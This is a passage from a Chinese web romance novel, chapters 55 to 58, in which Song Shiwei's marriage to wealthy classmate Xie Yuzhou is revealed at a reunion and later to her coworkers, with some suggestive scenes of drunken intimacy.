宋池雨摊开手掌,我不认识啊,这长相周正的帅哥哪里来的,他们班里有这一号人物吗? 是体制内的帅气,典型的东方面孔。 男人自我介绍,“是我,褚明俊。” 宋时微再次仔细辨认,完全想不起来,除了相熟的女同学,男同学她只记得谢屿舟。 她哂笑道:“抱歉,我一下没认出来。” 褚明俊温声说:“没关系,我们七年没见了。” 宋池雨同样多看了几眼,“人家说女大十八变,男大也一样嘛。 这下轮到褚明俊怔怔然,宋池雨无奈,“宋池雨。” 她嗅到了八卦的味道,眼前这位看来对宋时微不一般啊。 可惜啊,微微结婚了,不然还挺好磕的。 三个人选在靠近门口的位置坐下,褚明俊右手边是宋时微,宋时微右手边是宋池雨,宋池雨特意留了一个位置给梁博简。 先到的同学寒暄,无非是长相变化、工作在哪、有没有结婚,宋时微手上的婚戒很显眼,褚明俊自然也能看见。 终究是晚了一步,不对,准确说,压根没有进场过。 其他同学陆陆续续到齐,有个男生问班长荣修文,“班长,怎么换到这个地方了,发财了?” 第 55 章 第55章 本能反应之下,宋时微想抽出手掌,却被谢屿舟死死抓住。 男人侧头凑到她的耳边,说:“乖一点,时时。” 周遭的人听不见他们说的是什么,只能看见他们耳语的亲密动作。 但刚刚的那句“老婆”,是实打实传入了每个人的耳朵里。 宋时微悬着的心终于死了,索性由他握着。 宋池雨震惊地说不出话,她用胳膊肘捣了下宋时微,示意她看看微信。 【怎么回事?啊,你老公是谢屿舟!我不是在做梦吧!你掐我一下,你俩怎么会在一起?】 宋时微掏出手机,为了方便回复信息,她只能选择松开宋池雨的胳膊。 【说来话长,等我酝酿酝酿。】 宋池雨:【在我和你老公之间,你选择了他。】 宋时微知道她是开玩笑,偏头和谢屿舟说:“你松开我,我要回信息。” “好。”谢屿舟顺势上抬手臂,搂住她的腰肢,向怀里带了几分。 找宋时微八卦的人多,相对来说,谢屿舟看着严肃冷厉,不好相处。 这一节路显得格外漫长,走廊的光明亮如白昼,宋时微和谢屿舟走在中间,成为班里人争相关注的重点。 班里有班队正常,曾经没有联系的同学成了情侣夫妻也正常,但这个事放在谢屿舟和宋时微身上就不正常。 一个漂亮清冷的乖乖女,一个家世显赫的天之骄子,样貌确实登对,但家世相差地别。 谈恋爱正常,但结婚不一样,是两个家庭的事,万万没想到嫁入豪门的同班同学。 不少男同学羡慕死,成为赘婿也好啊。 一时间,各种猜测涌入同学的脑子里,未婚生子?母凭子贵? 总不至于是谢屿舟死皮赖脸要娶宋时微吧。 对此,宋时微完全不知,她在应付宋池雨的问题轰炸,【没有的。】 宋池雨:【我快要好奇死了,你俩不会高中就勾勾搭搭了吧。】 宋时微心里想,不算吧,即使睡过,但没有挑破喜欢的窗户纸,严格来说,不是情侣。 【不是,半年前的事,他家里催婚,我恰巧听见了,被他拉去凑数,没有什么感情。】 她看电视里都是这样演的,应该不会有问题。 宋池雨不疑有他,【你不要骗我,你上次都不告诉我,也让我有个心理准备。】 有钱人为了防止别人分家产,惯常采用的手段,见怪不怪。 宋时微:【不知道怎么开口。】 宋池雨:【也是,让我消化消化。】 一行人分成几波上电梯,轿厢里空间有限,宋时微被谢屿舟护在角落里。 他自爆了结婚的消息之后,不避着藏着躲着了,直接上手搂她牵她。 同学时不时投来打量的目光,悄悄拍照,和熟人八卦,毕竟八卦乃是人之常情。 最大的房间内瞬时涌入一群人,除了唱k还有台球、麻将、桌游之类的游戏,沾了谢屿舟的光见了世面。 谢屿! 舟和宋时微不算普通夫妻,没多少人敢当面起哄。 旁敲侧击打听他们的故事。 宋时微去卫生间透口气,顺便补个口红,“你怎么也过来了?” 她前脚踏进去,谢屿舟后脚跟了进来。 “我来看看你。” 包厢是独立的卫生间,时刻提防要进来的同学。 宋时微过去别上了卫生间的门锁,靠在洗手池边,认真道:“谢屿舟,我们来对个口供。” 谢屿舟将她困在怀里,虚虚拢住她,碰她玲珑的鼻头,“什么口供?” 宋时微仰起头说:“如果有人问你,我们是怎么结婚的,你就说你被家里人催婚,找了我这个熟人帮忙演戏,反正他们知道我在你公司上班。” 谢屿舟:“哦。”公开了还要编故事,他这名分求得可真艰难。 宋时微欣喜道:“你同意了?”竟然不需要多费口舌。 “不同意。”谢屿舟低声说:“我会说是我追的你,你也喜欢我,我向你求婚,顺理成章结了婚。” 好一个顺理成章,宋时微推开他,“随你吧,这样也行。” 男人的身体纹丝不动,差一分即可碰到嘴唇。 宋时微绷起脸,“你放我出去。” 谢屿舟挑眉看她,“亲我一下就放你走。” 于是,宋时微点了下他的唇,“好了。”敷衍得还不如她平时亲猫咪。 谢屿舟眸光深邃,“时时,谁告诉你有求于人是这么敷衍的。” 宋时微理直气壮说:“你,你说亲一下。” “我来教你正确的‘亲一下’是什么样子。”谢屿舟揽住她的后腰,薄唇覆了上去,撬开贝齿,舌尖追逐。 包厢内暖气充足,门外传来同学唱歌聊天的声音,他们在这一隅之地接吻。 像早恋,又像偷情。 两个人的唇瓣始终未分开,分开了几天,思念与日俱增,只亲吻不足以解相思。 他们的手默契得不老实起来,对彼此太过熟悉,知道哪里一点就燃。 这时,有人下压了把手,没有推开门,“咦,谁还把门锁上了。” 卫生间有两道锁,总的一把,里面各一把,一般不会关闭总锁。 宋时微回过神来,不小心咬到谢屿舟的舌头,她压低声音,“可以出去了。” 谢屿舟惦记刚刚‘一下’概念,“是这样的一下,明白了吗?” 宋时微不顺着他的话说,对着镜子整理衣服,补了被吃花的口红,命令男人,“我先出去,你等一下。” 谢屿舟和她十指紧扣,“合法夫妻,做什么都正常。” 他不想再躲躲藏藏、遮遮掩掩,又不是在打游击战。 谢屿舟和宋时微手牵手离开卫生间,聚集在这个方向的视线瞬间消失,转移到其他地方。 有的人东看看西瞧瞧,有的人假装唱歌。 最坦坦荡荡的人反而是谢屿舟,他和没事人一样,牵着宋时微坐到位置上。 宋池雨向左挪了一下,包厢里声音嘈杂,她凑到宋时微耳边! 问:“你脸好红 ,你俩在卫生间干嘛呢?” 宋时微用手背拍拍脸颊,“什么都没做,这里暖气太强了。” “你确定他对你没有感情吗?”据宋池雨的火眼金睛观察,不可能没有感情,那声‘老婆’太自然了,他们之间的氛围,别人插不进去。 “也许有吧,有那么一点。”宋时微转移话题,“你怎么不去找梁博简?” 宋池雨:“等会去,男人要让他有危机感,不能让他猜透了心思。” 宋时微抿唇笑,“宋大律师你见地颇多啊。” 宋池雨:“那是,还是不可思议,微微,你现在是老板娘哎,需不需要招标外包的律师团队?” 宋时微为难道:“我不知道,我不参与决策,如果你需要,我回去问一下谢屿舟。” 宋池雨摆手,“公司又不是我家的,我就随口一说,你这演戏的婚姻,算了算了。” 她说这句话的时候,恰巧是两首歌的中间地段。 一旁的谢屿舟敏锐捕捉到两个字,拉住宋时微的手,趴在她耳边说:“演戏?” 宋时微捂住嘴巴解释,“这不是刚编的故事,灵感来源池砚舟和沈栀意。” 谢屿舟咬牙切齿说:“编得真好。” 编的故事里他们都没有感情,随时要散伙的样子。 “还好,这个有人信。”比起有感情,这个更好。 二场的人更嗨更能放开,有人晃晃悠悠走过去,“谢屿舟,真没想到你会和宋时微结婚,不是说不般配,就是感觉你们没什么交集。” 谢屿舟不动声色挪开位置,“早恋不能让人知道。” 宋时微拳头都要硬了,哪门子早恋,什么早恋,她和他就没恋过。 同学打趣道:“你们瞒得也太好了。” 谢屿舟敛了神色,凛声强调,“没想瞒,没找到合适的机会。” “所以你们异国了七年?” “对,刚回来就结婚了,不想让她再等我了。”谢屿舟说话的同时,在沙发上找到宋时微的手,握在掌心里。 宋时微暗自腹诽,她才没有等他,可是听到这句话为什么会想哭。 按照她曾经的设想,她会和他聊恋爱,即使是七年异国恋,她能坚持的。 最后的现实是,分开了七年。 她不敢看他,撇开脑袋,看向沙发两个人的手上。 谢屿舟这句话不知道是真实所想,还是为了搪塞同学,实实在在在宋时微心上激起了涟漪。 一圈又一圈的水花,久久不能停歇。 同学起哄,“我靠,我靠,真看不出来,这么多年,在群里还藏着。” 谢屿舟难得开玩笑,“这不是怕吓到你们。” 这时,有人问:“《情未了》这是谁点的歌啊?” 半晌没人动,谢屿舟缓缓走了过去。 “送给……”男人坐在椅子上,单脚点地,一直看向宋时微的方向,薄唇轻启,“她。” 谁都知道,这个是指‘谁’,众人的目光纷纷向她投过来。 ! 宋时微垂下眼睫,她不知道谢屿舟还有这手,浑身不自在。 然而,在谢屿舟开口唱歌以后,她所有的注意力集中在他的身上。 “回头望从未懂开口讲爱你 放下你已是再会无期 但长伴心扉柔情全属你 纵是隔开千里灵魂内永久不死 i''llbelovingyouforever andi''vebeenlovingyousolong 情未了情未了只要天知晓你重要”* 宋时微没有听谢屿舟唱过歌,没有听他说过粤语,粤语歌的咬字发音和普通话差别很大。 他什么时候学的? 在临港待了七年,这首老歌宋时微耳熟能详,歌词她也能听懂。 从谢屿舟口中唱出来,别有一番感触。 ‘情未了’三个字,好像在表达什么,宋时微眼眶发热,谢屿舟的眼睛里像有星辰大海,将她牢牢锁住。 心里积累了成千上万只蝴蝶,破茧而出,心跳如擂鼓。 宋时微和他隔着距离对视,屏蔽周围所有人的声音和视线。 好想上去抱住他,却没有了勇气。 经过今晚谢屿舟的表现,他们成为班里的模范,宋时微成为很多人羡慕的对象。 老公有钱又专一,上辈子拯救了银河系。 宋池雨完全不信宋时微的说辞,这如果是没有感情,谢屿舟可以去拿影帝大奖了。 临近半夜,该散场的散场。 褚明俊在谢屿舟唱歌的时候便已离开,奔着宋时微来的同学聚会。 结果有些事七年前就已注定,他从来没有上场的资格。 他以为出国会忘记宋时微,记忆会模糊,感情却没有变。 现在的他,只能在心底祝她“幸福快乐”,即使这份幸福是另一个男人给她的。 只要她开心就好。 不打扰,是对她最好的事。 谢屿舟晚上喝了一点酒,喊了代驾,宋时微坐进车里,随意向外瞥,酒店门口看到了熟人。 她拉住谢屿舟的胳膊,按耐不住八卦的心,“那是宋池雨和梁博简对不对?他们去了酒店,是不是?” 第 56 章 第56章 漆黑的夜,酒柜的自动感应灯亮起,暖黄色的光倾洒在一隅空间里。 宋时微的手撑在酒柜面前,面前不再是男人的荷尔蒙气息,而是自然散发的酒香。 一张宽大的毛毯,包裹住两个人。 隆冬之际,她却不觉得冷。 谢屿舟牵住她的手,在酒柜里挑挑选选,贴心吻她又问她,“时时,你想先尝尝哪个?” 晚上聚餐喝了几口红酒,后劲上头,宋时微的脑袋愈发昏沉,关键是他们一直…… 她被困在谢屿舟强势的怀里,逃不开躲不掉,又不甘于被男人压一头,“哪个都不想,你想喝自己喝。” 谢屿舟握住宋时微的手,停在中间一层,他拿下来,看了眼字母,“是这个。” 昏暗的光线,她看不懂英文字母,不知道酒的具体名字。 男人曲解她的意思,故意和她对着来。 他又选了几瓶其他的葡萄酒。 短暂的分离,谢屿舟逡巡横厅四周,“你想在哪儿喝?” 宋时微两只手被塞了两瓶酒,她说:“我想不喝。” 谢屿舟却说:“落地窗吧。” 她就知道,她的意见不具备参考价值。 落地窗旁放了一张单人沙发,脚下是一张厚地毯,白天天气好,刚清洗消毒干净。 似乎一切为了晚上的荒唐做准备。 旁侧的边几上只放着一个高脚玻璃杯。 宋时微和谢屿舟共享一张毛毯和一个酒器,她面对面坐在他的怀中。 未曾分离。 窗外的银辉洒在他们的身上,两个人平视,漆黑眼眸里只剩下彼此。 你中有我,我中有你。 如同现在他们的模样。 酒瓶的木质塞子被拔掉,浓烈的葡萄和大麦香气钻入宋时微的鼻子。 她不得不承认,味道好闻。 那晚喝醉的记忆已然模糊不清,她只记得酒难喝,不知道是小姨带来的冲击还是酒真的难喝。 谢屿舟倒下一杯酒,仰头喝完,性感的喉结滚动,让人忍不住想亲上去。 宋时微这样想,便这样做了,她倾起上半身,张开嘴唇含住喉结。 他喝酒,她亲她。 一个简单的小动作,让谢屿舟僵住,女人的舌尖在使坏,故意亲他。 男人又倒下第二杯酒。 倏然间,谢屿舟亲上宋时微的嘴,她眼前仅剩的光亮被覆盖住。 他在喂她喝酒,酒从他的口中渡给了她。 一个暧昧涌动、旖旎亲密的动作。 丝丝缕缕的酒在两人嘴唇间传递,他们不仅仅是接吻这么简单。 谢屿舟可以一心二用。 第一轮喂酒告一段落,谢屿舟抵住她的额头,“好喝吗?” 宋时微咕哝道:“好苦好涩,一点都不好喝。” 谢屿舟:“那我们再品第二瓶酒。” 宋时微:???哪有人是这样品酒的。 她看不到的单面玻! 璃,印出了他们模糊的轮廓。 酒全部品完,几种酒混在一起,宋时微早已分不清东南西北,不知几时几分。 谢屿舟没好到哪里去,比他老婆好一点。 两个喝多了的人,胆子大了起来,尤其是宋时微,她眯着眼睛,露出一个狡黠的笑,“我们去窗边看月亮吧。” 南边没有任何建筑,只有波光粼粼的湖面。 “好。”谢屿舟带着她,裹着毛毯,走到了窗户边,他的双臂搂住他,下颌垫在她的肩膀,和她一起赏月 今晚的月亮又大又圆,高高挂在空中。 月亮对于中国人来说有着特别的含义,寄托了相思与团圆。 他不要和她再分开,想时时刻刻待在一起。 谢屿舟眸光变暗,“时时,我们没有感情吗?”他不是圣人,频繁听到她说‘没有感情’会难过。 他向来猜不透她的心思。 比如高中时,周末在他家聚会还好好的,躲在房间里还差点亲了他。 结果,周一上学后她远离他,把他当空气当透明人,不和他去图书馆,也不再传讯息。 陡然一转的变化,宋时微的手指抠在玻璃上,向下滑,“有啊,夫妻感情,py感情。” 谢屿舟直接问:“我们现在是什么关系?”法律层面的认同和她心里的认同,他都要。 酒精带来的麻痹作用,宋时微反应慢了半拍,她认真回答,“夫妻啊,你是我老公。” 男人再次顿住,不似刚刚,她问:“老公,不对吗?” 一声声‘老公’哄好了谢屿舟,即使知道她现在醉了,会安慰自己,酒后吐真言。 谢屿舟不满足于此,“你喜欢我吗?”矫情的问题,她第二天会忘记。 宋时微坏笑道:“我不告诉你,你太坏了。” 接下来,她一直被这个问题缠绕,不回答的结果,自然是,没有了下半夜。 凌晨三点多,宋时微的脑袋沾了枕头,迅速睡着,失眠的症状改善许多,归根于谢屿舟的两天三次。 谢屿舟没有得到想要的答案,更加郁闷,又悄悄…… 宋时微还很享受,哼哼唧唧的声音反而让他心里添堵。 他这按.摩棒做得真合格,不分白天晚上,不分睡着清醒,做完了还给她清洗。 翌日,宋时微一觉醒来,旁边床铺没有了男人,许是去公司开会了,毕竟没有全部放假。 她捞起床头的手机,中午12点半,捶捶脑袋,让自己清醒点。 掀开被子,发现身上密密麻麻的红印。 像拿到了记忆的钥匙,昨晚的情况陡然回笼。 宋时微似乎明白了一件事,单纯的酒不会断片,酒加难过的事才会断片。 她陷在回忆里,男人穿着整齐走了进来,坐在床边,目光灼灼看她,“醒了。” 宋时微没来得及复盘记忆,一点点碎片化的记忆,让她跪在地毯上,压在玻璃上。 她现在对谢屿舟充满了怨念。 宋时微翻个身,气呼呼背对着他。 ! 谢屿舟弯下腰亲亲她的脸颊,“醒来就不要你的塞子了吗?” 宋时微:“什么塞子?” 她昨晚究竟说了什么虎狼之词,想起来了,说什么好像塞子啊,“不要了,又不是什么好东西。” “我看你喜欢得很。”谢屿舟看着她,还是喝醉酒的老婆可爱,抛却了羞涩,会提出自己的需求。 会的花招比他想得多得多,他都不知道酒还可以在另一个地方喝,他也不知道,冰块可以放在身上。 宋时微担心客厅的乱状,不和他插科打诨,正色道:“客厅收拾了吗?” 那些衣服啊、毛毯啊、沙 发啊,还有不能言说的东西,如果被人看见,她会原地爆炸。 谢屿舟佯装恍然,“忘了,你放心,不用你打扫,君姨早上会来收拾。” 宋时微:???听着还蛮体贴的。 她从被窝里伸出腿踢他,“谢屿舟,我讨厌你,讨厌你。” 现在的她好像一只炸毛的小猫,隐形的毛发竖了起来,看起来更可爱了。 谢屿舟攥紧她的小腿,轻轻摩挲,“看来你不累,要不再用一下?” “不要。”宋时微气都快气饱了。 谢屿舟不逗她了,“我昨晚收拾了,也拖了地。” “哦。”宋时微命令他,“你去给我拿衣服,我饿了。”现在使唤他,毫无心理负担。 谢屿舟:“穿哪件?” 宋时微给他出个难题,“你看着拿吧,我也不知道。” “好。”谢屿舟走进衣帽间,在秋冬季的柜子面前停下,开始打造奇迹老婆的旅程。 每一次上新,店家会送来新款衣服,他看到好看的钻石珠宝、黄金首饰,会想她戴一定好看。 抽屉里积累了越来越多的高奢饰品,而她似乎独爱那一条手链。 晚上去老宅吃饭,谢屿舟选了不会出错的米白色衣服,加羽绒服,果不其然被宋时微嫌弃。 “像圆滚滚的球。” 谢屿舟提醒她,“你生理期快到了。” 行吧,经过半年的调理,不会像之前那样痛,除了偶尔的腰酸,没什么大碍。 宋时微化了一个裸妆,让自己看上去气色好一点。 只是离老宅越近,她越紧张,掌心开始冒汗。 大过年的,她的到来会给谢宏恺添堵。 谢屿舟似乎察觉出她心里的想法,捏了捏她的手掌,“有我在,别担心。” 宋时微仰头看他,“不担心,我不会让自己受委屈。” 谢屿舟:“我不会让你受委屈。” 和她结婚,他承受了不小压力,妈妈和奶奶初次见面没有为难她,如果她们知道,她曾经抛下过他,恐怕另当别论。 老宅客厅里一家人在聊天说笑,姑姑谢思为、池砚舟和沈栀意碰巧也在,谢屿舟牵住她的手走了进去。 宋时微挽起一个乖巧的笑,“爸妈、爷爷奶奶、姑姑,新年快乐。” 奶奶顾令仪和蔼笑道:“你也新年快乐,过年你不在这边,给你! 的压岁钱。” 宋时微收下,“谢谢奶奶。” 顾令仪:“你们小辈有共同话题,你们聊。” 宋时微在沈栀意旁边坐下,两人颔首打了个招呼,像找到了同盟。 她们两个人偏慢热性格,都不会没话找话,没办法玩手机,干坐着。 一家人全在,谢宏恺不好给宋时微甩脸色,虽然他没有什么好脸色。 池砚舟挑眉看向谢屿舟,“你也不在南城过年?” 谢屿舟恍然,“也?姑姑巴不得你不在她眼前晃悠。” 谢思为插话,“说我什么坏话呢?” 谢屿舟:“说池砚舟不在,姑姑你过年落了个清净。” 谢思为:“可不嘛,我的脑瓜子被他吵死了。” 看两个女生拘谨的样子,谢屿舟给池砚舟使了个眼色,他走到宋时微旁边问:“你们想玩牌还是麻将?” 距离开饭还有一会儿。 两个人异口同声说:“麻将。”相视而笑,比刚刚的生疏好一点。 家里有现成的麻将桌,两对夫妻各自面对面坐,避免喂牌作弊。 两圈下来,想不熟悉都难。 谢屿舟和宋时微八卦,“姑姑怀孕做产检的时候是个女孩,结果出来是男孩,而她又不想怀孕了,于是池砚舟被各种嫌弃。” 池砚舟不甘示弱,“你又比我好哪里去,舅妈不也是一样。” 表兄弟两个人互怼是常有的事。 宋时微和沈栀意互相看一眼,眼里的文字一样,“幼稚。” 池砚舟出牌,“三条。” 宋时微激动喊,“胡了。” 池砚舟:“你们夫妻故意的。”用八卦转移他注意力。 第 57 章 第57章 谢屿舟刚关掉笔记本电脑,突然被人从后背抱住,手臂紧紧环住他的腰身。 顿住片刻,男人问:“你怎么回来了?” 宋时微松开他,让他转过身,“让我看看,你伤到哪里了?” 她的眼神里流露出慌张的神情,是谢屿舟极少见过的表情。 很明显的事实,她在担心他。 谢屿舟眼里闪过惊喜,抚平她的眉头,“没什么大碍。” 宋时微快急死了,上手扯谢屿舟的衣服,又怕弄疼他,一时间寻不到章法,“快点,在哪,我看看。” 谢屿舟被她按在椅子上,主动解开扣子,撩开衣服,肩膀上的伤口显露在她的眼前。 冷白皮肤上淤 青了一大片,红肿不一,紫色红色青色异常明显,还有破皮擦伤。 宋时微的鼻头不禁泛酸,亲眼所见比描述的冲击更大,她不敢碰了,比她出车祸还要严重。 女人眼底的微潮落入谢屿舟的眼中,他拉上衣服,仰起头盯着她看,“孟新允告诉你的。” 宋时微点点头睨了他一眼,“对,你还想瞒着我。” 谢屿舟宽慰她,“不严重,只是看着吓人,没有骨折没有骨裂。” 宋时微瞪他,“哪里不严重?你别以为我不知道,差点砸到头了,要不是中间缓冲了一下,你现在还能坐在这和我说话吗?” 在高铁上,孟新允将事情的来龙去脉大致说了一下,视察工地的时候,高空风大,小半片瓷砖从高空掉了下来,谢屿舟反应迅速,推开了旁边的人。 结果自己躲避不及,被瓷砖砸到了左边肩膀和胳膊,幸好是洋房区,楼层不高,加上现在衣服穿的厚,否则后果不堪设想。 谢屿舟打趣道:“我就说孟新允是你的人,我特意叮嘱他不要告诉你,结果,他对你比对我还忠心。” 宋时微:“你少顾左右而言他,孟助多不容易,你不能给他穿小鞋。” 她催促他,“胳膊给我看看。” 谢屿舟听话脱掉左边衬衫,手臂被划了一道口子,估计是弹下来时,被尖角刮到,伤口处理过,没有大面积渗血。 袖子上还有点点斑驳的血迹。 宋时微不忍细看,“你消过毒了吗?你怎么没贴创可贴?是要贴纱布吗?要不要抹消肿化瘀的药?” 一连几个问题,谢屿舟静静盯着她的嘴巴,今天的嘴真好,是教训他,但每个字符很动听。 想亲她。 男人用右手拉住她的手腕,带到腿上,亲了她软软的唇,好亲。 宋时微不敢挣扎,怕碰到他的伤口,等他亲完了,板着脸喝斥道:“你正经点,回答问题。” 谢屿舟认认真真回答:“还没有,在医院处理过了,一会再抹。” 他回家先忙工作,准备睡觉前抹一下药膏,未料到宋时微回来了。 现在孟新允完全倒戈。 “哦,你……吃饭了吗?” 宋时微缓过神来,倒开始别扭。 慌神不是她的性格,! 经历过人生变故,什么大是大非没见过,竟然会直接跑回来。 她怕了,得到过会患得患失。 来之不易的感情。 “时时,你担心我。”谢屿舟的额头抵住她的额头,四目相对,漆黑眼眸锁住她的眼睛。 怎么可能放过这个窥探她心里话的机会。 书房内的空气缓慢流动,两个人不约而同屏住了呼吸。 半晌过后,宋时微说:“担心。” 她一字一句补充,“我想和你好好过日子的,是你不信我。” 谢屿舟语气平缓,“我信。” 他们是一样的口是心非、一样的嘴硬心软,和同类人结婚,会被扎到。 但除她之外,他谁都不想要。 “我去洗澡。”谢屿舟去浴室脱衣服遇到了难题,自己勉勉强强可以冲洗。 男人走到门口,喊房间里的人,“时时,我没法洗澡。” 宋时微放下手机,“我来帮你。” 乔言心问她到家了吗?家里还好吗?她刚和她聊完天。 总是瞒着她心里过意不去,找个机会坦白。 不是第一次一起洗澡,每回一起洗澡都带了黄颜色,这次是最纯洁的一个澡。 然而,在他们脱了衣服之后,宋时微拎着花洒冲谢屿舟的下半身的时候,肉眼看见他在慢慢…… 做了那么多次,在手里感受过,严格来说,第一次亲眼看见,她的耳朵瞬间变红,“谢屿舟,你是一名伤患。” 谢屿舟倒坦荡,“控制不住,他想和你打招呼。” 宋时微囫囵冲了几下,转去洗其他地方,“你明明能控制的。” 谢屿舟凑到她的眼前,扬起眉眼,啄了她的唇,“在你面前不能,也不想。” “洗好了,出来穿衣服。” 宋时微不想和他坦诚相见时讨论带颜色的事情,这人指不定做出什么事。 帮他穿好睡衣,那里没有消下去。 谢屿舟将药膏放在床头柜,自觉坐到宋时微旁边,“都在这里,麻烦时时帮我抹药。” 宋时微用棉签轻轻蘸取药膏,抹在伤口处,“你说你能瞒我多久,我出差回来不也能发现,一天又好不了。” “怕耽误你出差。”主要是不知怎么开口,他又不是池砚舟,破个皮恨不得发信息广而告之。 宋时微又问:“你不会还有其他事瞒着我吧。” 谢屿舟:“没有。” “最好是。”宋时微小心翼翼涂抹,怕弄痛了他,一边抹一边轻轻呼气。 谢屿舟在人睡熟了之后,发了一条朋友圈。 【老婆回来了。】 仅限池砚舟可见。 池砚舟在下面评论,【谁没有老婆似的。】 谢屿舟:【你快没有了,合约还有三个多月。】 池砚舟:拉黑删除一条龙服务。 翌日一大早,宋时微去找乔言心汇合,调研尚未结束,客户基本是由她联系。 在去高铁站的路上,发消息拜托孟新允帮忙抹药。! 孟新允:【太太放心,保证完成任务。】 谢屿舟倚靠在办公椅上,抬起黑眸睨向对面笔直站立的助理,“今天站那么远干嘛,通风报信的时候没想过这些。” 孟新允低着头,“不是,是怕碰到您的伤口。” 谢屿舟:“你是长臂猿吗?能够到胳膊吗?” “哦哦哦来了。” 孟新允给老板抹药比汇报工作要煎熬,胆战心惊、畏手畏脚,生怕碰疼了,也怕看到不该看的东西。 不亚于在老虎头上动刀。 艰难的抹药结束,谢屿舟扣好衣服,“勉勉强强,下手没轻没重。” 孟新允擦擦额头的冷汗,“那肯定比不上太太。” 谢屿舟语气意味深长,“我调你去给宋时微做助理,怎么样?” 孟新允心惊表态度,“老板,谢总,我下次不敢了,不对,没有下次,不能再发生意外。” “做得很好,下个月加奖金。” 如果是他,不知道怎么和宋时微说,直接卖惨不是他的风格。 孟新允愣住片刻,“谢谢老板,我出去上班了。” 他就知道,告诉老板娘是正确的选择。 这边,乔言心接到宋时微,关切问道:“微微,你家里的事解决了吗?” 宋时微:“解决了,受了点轻伤,没什么大碍,按时抹药就好。” 乔言心:“那就好,听说谢总也受伤了,最近不太平啊。” 宋时微装傻,“是吗?那是要注意。” 调研告一段落,整理数据和资料是接下来工作的重中之重。 宋时微没日没夜得忙,她觉得充实,谢屿舟心疼她,更尊重她。 她想飞多高飞多高,哪一天累了,他会接住她。 一个普通的春日下午,会议室座位缺席,公司主要的董事和谢屿舟分坐在两旁,听宋时微的汇报。 宋时微自信走上台,面带微笑,“接下来由我汇报,经过我们这半个月的走访考察,综合市场调研,我们的方案如下。” 谢屿舟看着她,想到她第一次汇报紧张的样子,短短的半年多时间,成长迅速。 她一直如此,不会让人看低她。 汇报结束,管理层的领导提出不同的意见,宋时微游刃有余一一解答。 轮到谢屿舟,他稳重道:“我说一下我的看法,理想和现实的差距,尤其是落地情况,紧盯项目组,落不了地,一切都是幻影。” 他们商量好的,在工作中公私分明,不用考虑对方的情绪。 许是觉得话说重了,谢屿舟找补一句,“总体不错,尤其是针对不同人群的方案,考虑得很细致。” 宋时微笑着看他,“谢谢谢总的意见。” 谢屿舟:…… 春去夏来,由宋时微牵头的99个智能家项目正式开工,她来来往往穿梭在各个工地中,第一时间掌 握进度和出现的问题。 出差成了家常便饭。 谢屿舟调侃,现在见她都需要提前预约。 ! 宋时微善于利用互联网,专业的素养、言简意赅的介绍和平易近人的气质,在网上积累了一定热度。 同时推出一项活动,为一些困难家庭改造房子。 部分施工的项目不在南城,出门坐飞机更方便。 装修是最头疼的事情,白天和业主掰扯,和项目组掰扯,乔言心和宋时微一个字不想多说。 和人打交道是最难的工作。 宋时微走出飞机舱,查看手机,陈叔说在停车场等她,“心心,我对象家的司机来接我,把你送到家。” 乔言心回了点精气神,“好,我还没坐过迈巴赫呢。” 宋时微:“万一今天开的是大众呢。” “有车我不挑。” 倏然,乔言心看到出机口有个熟人,西装革履的老板,她拉住宋时微,“咦,那不是老板吗?他怎么来这了?出差回来还有老板接人服务吗?” 宋时微心里默念,完了完了完了完了。 压下心底的紧张情绪,“心心,如果我瞒着你一件事,你以后知道了,可以生我的气,但不要不理我。” 乔言心摆摆手,“不会,每个人都有自己的秘密啊。” 说话间,她们走到了谢屿舟面前,绕不过去。 乔言心硬着头皮打招呼,“谢总好,好巧。” 宋时微装作不熟,“谢总好,我们先走了,不打扰你等人了。” 谢屿舟向乔言心颔首,“你好。” 男人伸出手,对宋时微说:“给我吧,别演了,谢太太。” “演什么?”乔言心后知后觉反应过来了,她身边似乎站的是老板娘。 “谢总,借你老婆用一下。” 谢屿舟接过行李箱,“你随便用。” 乔言心拉着宋时微快走几步,偷瞄身后的老板,“所以你是老板娘?” 宋时微心已死,承认:“嗯。” 乔言心:“什么?你真的是老板娘?你别逗我,我胆小。” 她控制不住自己的音量,控制不住激动的心情。 第 58 章 第58章 突然,有人毕恭毕敬冲门口喊了一声,“谢总。” 宋时微回过头,看到身着挺括白色衬衫的男人缓缓走了进来,视线在她的脸上停留一秒,移到了其他地方。 包厢内充斥推拉椅子的‘滋啦’声,以及加凳子挪动杯子的诡异声响。 他们已经从餐桌移到旁边的游戏桌。 顾斯乔问:“谢总,您要吃点什么吗?” “不用,你们继续。”谢屿舟淡淡说道,低沉语调里含有不易察觉的凛冽。 老板在现场,其他人哪里还有玩游戏的心思,一瞬间噤若寒蝉。 谢屿舟平和问:“不好意思了吗?刚刚在玩什么。” 顾斯乔:“真心话大冒险,谢总要参与吗?”作为副总,只能由她破冰。 “好呀。” 谢屿舟坐在宋时微正对面的位置,浓黑的眸淡瞥向她,隔着昏暗的光,她看不清他眼中的意思。 她的手指揪着系带衬衫的丝带,一圈圈缠在白皙指头上,重复无意义的动作。 宋时微抬眸,试图看出点什么,终以失败告终。 不知道他有没有听见她刚刚的回答,应该算共识吧。 七年前你情我愿不明不白的开始,不明不白的结束,没人说过喜欢,没人表白。 即使负距离的时候,他也只吻她不说话,没有sweettalk,没有dirtytalk。 在宋时微恍惚之际,她抽了一张牌,不知道在做什么,下一秒,小程序给了她答案。 “8号和15号隔纸巾接吻。” 结果,她是15号,而谢屿舟是8号。 谁敢在老板头上 造次,况且被老板娘知道的话,引起不必要的麻烦,顾斯乔做下决定,“这个不算。” 同时出声的还有宋时微,“谢总结婚了,不合适,我选择喝酒。” 她端起桌上的酒,仰头喝下一整杯的啤酒。 整整500毫升的酒,度数不高,没人在意。 乔言心用余光偷瞄两个人,一个比一个脸色沉。 她只知道他们结婚的事,不知道具体的细节,但能看出来,谢总进来时骇人的表情。 难道另有隐情吗?因爱生恨吗?她好想知道。 有老板在,游戏玩了几轮没有意思,直接散场,各回各家。 乔言心担心宋时微,搀扶住她的身体,她陆陆续续喝了不少酒,“微微,你还好吗?” 她们是最后离开的人,要避着其他同事。 宋时微竭力控制意识,脚底轻飘飘,“我没事,你快回去吧,我去找他。” 乔言心:“好,你放心吧,同事都走了,我送你过去。” 深夜的地下车库安安静静,谢屿舟的车子停在电梯口正对面,黑色的汽车极其显眼。 待她们走到车门前,车门被人从里推开,谢屿舟走了出来,面色冷峻,“给我吧。” “好的,谢总。”乔言心立刻松手,“微微,我走了,拜拜。” 逃! 跑一般离开车库,谢总那强大的气场,仿佛处在超强低压中。 